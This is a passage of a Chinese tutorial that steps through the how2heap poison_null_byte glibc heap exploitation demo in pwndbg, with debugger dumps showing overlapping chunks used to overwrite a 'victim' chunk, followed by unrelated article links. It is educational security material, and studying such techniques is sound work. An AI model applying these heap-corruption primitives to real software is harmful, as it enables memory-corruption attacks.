   47     fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));                                                                                                                                                                                           
   48     b1 = malloc(0x100);
   49 
 ► 50     fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
   51     fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);
   52     fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));
   53     fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");
   54 
   55     b2 = malloc(0x80);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│      0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40091d main+583
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603220 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603220 /* ' 2`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x110                Used                None              None
0x603220            0x0                 0xf0                 Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310:       0x00000000000000f0      0x0000000000000000
0x603320:       0x0000000000000210      0x0000000000000110
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
pwndbg> 

wndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x110                Used                None              None
0x603220            0x0                 0xf0                 Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310:       0x00000000000000f0      0x0000000000000000
0x603320:       0x0000000000000210      0x0000000000000110
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
 

0x603320:       0x0000000000000210      0x0000000000000110 是切割后剩余chunk大小

0x603310:       0x00000000000000f0      0x0000000000000000 之前伪造的pre_size

3.3.5 设置断点第61行并走起

接下来再去申请一块小于0xf0的堆块,这样就会继续分割b剩下的那一块(我们把这次申请的堆块填充上’B’来区分)。

pwndbg> b 61
Breakpoint 5 at 0x400a18: file poison_null_byte.c, line 61.
pwndbg> c
Continuing.
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.

Breakpoint 5, main () at poison_null_byte.c:62
62          free(b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x87
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400f00 ◂— out    0x8e, al
 R8   0x87
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x400a18 (main+834) ◂— mov    rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400a18 <main+834>    mov    rax, qword ptr [rbp - 0x18]
   0x400a1c <main+838>    mov    rdi, rax
   0x400a1f <main+841>    call   free@plt <0x400560>
 
   0x400a24 <main+846>    mov    rax, qword ptr [rbp - 0x38]
   0x400a28 <main+850>    mov    rdi, rax
   0x400a2b <main+853>    call   free@plt <0x400560>
 
   0x400a30 <main+858>    mov    rax, qword ptr [rip + 0x201629] <0x602060>
   0x400a37 <main+865>    mov    rcx, rax
   0x400a3a <main+868>    mov    edx, 0x4c
   0x400a3f <main+873>    mov    esi, 1
   0x400a44 <main+878>    mov    edi, 0x400ff8
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   57 
   58     memset(b2,'B',0x80);
   59     fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);
   60     fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");
   61 
 ► 62     free(b1);
   63     free(c);
   64     
   65     fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
   66     d = malloc(0x300);
   67     fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│      0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400a18 main+834
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:61
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x110                Used                None              None
0x603220            0x0                 0x90                 Used                None              None
0x6032b0            0x0                 0x60                 Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/30gx 0x603220
0x603220:       0x0000000000000000      0x0000000000000091
0x603230:       0x4242424242424242      0x4242424242424242
0x603240:       0x4242424242424242      0x4242424242424242
0x603250:       0x4242424242424242      0x4242424242424242
0x603260:       0x4242424242424242      0x4242424242424242
0x603270:       0x4242424242424242      0x4242424242424242
0x603280:       0x4242424242424242      0x4242424242424242
0x603290:       0x4242424242424242      0x4242424242424242
0x6032a0:       0x4242424242424242      0x4242424242424242
0x6032b0:       0x0000000000000000      0x0000000000000061
0x6032c0:       0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x6032d0:       0x0000000000000000      0x0000000000000000
0x6032e0:       0x0000000000000000      0x0000000000000000
0x6032f0:       0x0000000000000000      0x0000000000000000
0x603300:       0x0000000000000000      0x0000000000000000
pwndbg> 

3.3.6 设置断点第64行并走起

接下来free掉b1和c,因为c的prev_size仍然是0x210,按照这个去找的话就可以找到原本的b,现在的b1的位置,那么他们俩会合并,但是中间还有个b2呢。这里how2heap有一个注释。

Typically b2 (the victim) will be a structure with valuable pointers that we want to control
通常b2(受害者)将是一个结构,其中包含我们要控制的有价值的指针

 

pwndbg> b 64
Breakpoint 6 at 0x400a30: file poison_null_byte.c, line 64.
pwndbg> c
Continuing.

Breakpoint 6, main () at poison_null_byte.c:65
65          fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x0
 RDI  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RSI  0x0
 R8   0x87
 R9   0x1
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x400a30 (main+858) ◂— mov    rax, qword ptr [rip + 0x201629]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400a1c <main+838>    mov    rdi, rax
   0x400a1f <main+841>    call   free@plt <0x400560>
 
   0x400a24 <main+846>    mov    rax, qword ptr [rbp - 0x38]
   0x400a28 <main+850>    mov    rdi, rax
   0x400a2b <main+853>    call   free@plt <0x400560>
 
 ► 0x400a30 <main+858>    mov    rax, qword ptr [rip + 0x201629] <0x602060>
   0x400a37 <main+865>    mov    rcx, rax
   0x400a3a <main+868>    mov    edx, 0x4c
   0x400a3f <main+873>    mov    esi, 1
   0x400a44 <main+878>    mov    edi, 0x400ff8
   0x400a49 <main+883>    call   fwrite@plt <0x4005c0>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   60     fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");
   61 
   62     free(b1);
   63     free(c);
   64     
 ► 65     fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
   66     d = malloc(0x300);
   67     fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
   68     memset(d,'D',0x300);
   69     fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
   70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│      0x7fffffffe5a8 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400a30 main+858
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:64
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x320                Freed           0x6032b0    0x7ffff7dd1b78
0x603430            0x320               0x110                Used                None              None
pwndbg> c

3.3.7 设置断点第70行并走起

那么接下来的事情就是申请一块大的chunk,然后随便改写b2的内容了。

pwndbg> b 70
Breakpoint 7 at 0x400ab1: file poison_null_byte.c, line 70.
pwndbg> c
Continuing.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

Breakpoint 7, main () at poison_null_byte.c:70
70      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbee0 ◂— 0x6220a89ce5b08ee7
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x20c
 R10  0x1f0
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x400ab1 (main+987) ◂— leave  
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400ab1       <main+987>                 leave  
   0x400ab2       <main+988>                 ret    
    ↓
   0x7ffff7a2d830 <__libc_start_main+240>    mov    edi, eax
   0x7ffff7a2d832 <__libc_start_main+242>    call   exit <0x7ffff7a47030>
 
   0x7ffff7a2d837 <__libc_start_main+247>    xor    edx, edx
   0x7ffff7a2d839 <__libc_start_main+249>    jmp    __libc_start_main+57 <0x7ffff7a2d779>
 
   0x7ffff7a2d83e <__libc_start_main+254>    mov    rax, qword ptr [rip + 0x3a8ecb] <0x7ffff7dd6710>
   0x7ffff7a2d845 <__libc_start_main+261>    ror    rax, 0x11
   0x7ffff7a2d849 <__libc_start_main+265>    xor    rax, qword ptr fs:[0x30]
   0x7ffff7a2d852 <__libc_start_main+274>    call   rax
 
   0x7ffff7a2d854 <__libc_start_main+276>    mov    rax, qword ptr [rip + 0x3a8ea5] <0x7ffff7dd6700>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   65     fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
   66     d = malloc(0x300);
   67     fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
   68     memset(d,'D',0x300);
   69     fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
 ► 70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x4444444444444444 ('DDDDDDDD')
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x4444444444444444 ('DDDDDDDD')
07:0038│      0x7fffffffe5a8 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400ab1 main+987
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:70
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x320                Used                None              None
0x603430            0x320               0x110                Used                None              None
pwndbg> x/30gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000321
0x603120:       0x4444444444444444      0x4444444444444444
0x603130:       0x4444444444444444      0x4444444444444444
0x603140:       0x4444444444444444      0x4444444444444444
0x603150:       0x4444444444444444      0x4444444444444444
0x603160:       0x4444444444444444      0x4444444444444444
0x603170:       0x4444444444444444      0x4444444444444444
0x603180:       0x4444444444444444      0x4444444444444444
0x603190:       0x4444444444444444      0x4444444444444444
0x6031a0:       0x4444444444444444      0x4444444444444444
0x6031b0:       0x4444444444444444      0x4444444444444444
0x6031c0:       0x4444444444444444      0x4444444444444444
0x6031d0:       0x4444444444444444      0x4444444444444444
0x6031e0:       0x4444444444444444      0x4444444444444444
0x6031f0:       0x4444444444444444      0x4444444444444444
pwndbg> 

 

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库


http://www.kler.cn/a/234253.html

相关文章:

  • 用MVVM设计模式提升WPF开发体验:分层架构与绑定实例解析
  • python解析网页上的json数据落地到EXCEL
  • Dockerfile的使用
  • Elasticsearch 8.16:适用于生产的混合对话搜索和创新的向量数据量化,其性能优于乘积量化 (PQ)
  • 设计模式练习(一) 单例模式
  • MFC工控项目实例二十九主对话框调用子对话框设定参数值
  • 使用Arcgis裁剪
  • LLM之LangChain(七)| 使用LangChain,LangSmith实现Prompt工程ToT
  • 新春快乐(烟花、春联)【附源码】
  • KAJIMA CORPORATION CONTEST 2024(AtCoder Beginner Contest 340)ABCDEF 视频讲解
  • 代码随想录算法训练营第44天 | 完全背包理论基础 518.零钱兑换II 377.组合总和 Ⅳ
  • 假期2.7
  • Android 移动应用开发 创建第一个Android项目
  • leetcode:216.组合总和三
  • Mybatis开发辅助神器p6spy
  • 基于JavaWeb的网上订餐项目
  • Unity类银河恶魔城学习记录1-14 AttackDirection源代码 P41
  • 第十四章 以编程方式使用 SQL 网关 - %SQLGatewayConnection 方法和属性
  • 【正在更新】从零开始认识语音识别:DNN-HMM混合系统语音识别(ASR)原理
  • 02 数据库管理 数据表管理
  • 猫头虎分享已解决Bug || KeyError: ‘The truth value of a Series is ambiguous‘
  • nginx stream proxy 模块的ssl连接源码分析
  • python创建pdf文件
  • MySQL篇----第十八篇
  • 20:基于EL与JSTL的产品管理页-Java Web
  • qt-C++笔记之判断一个QLabel上有没有load图片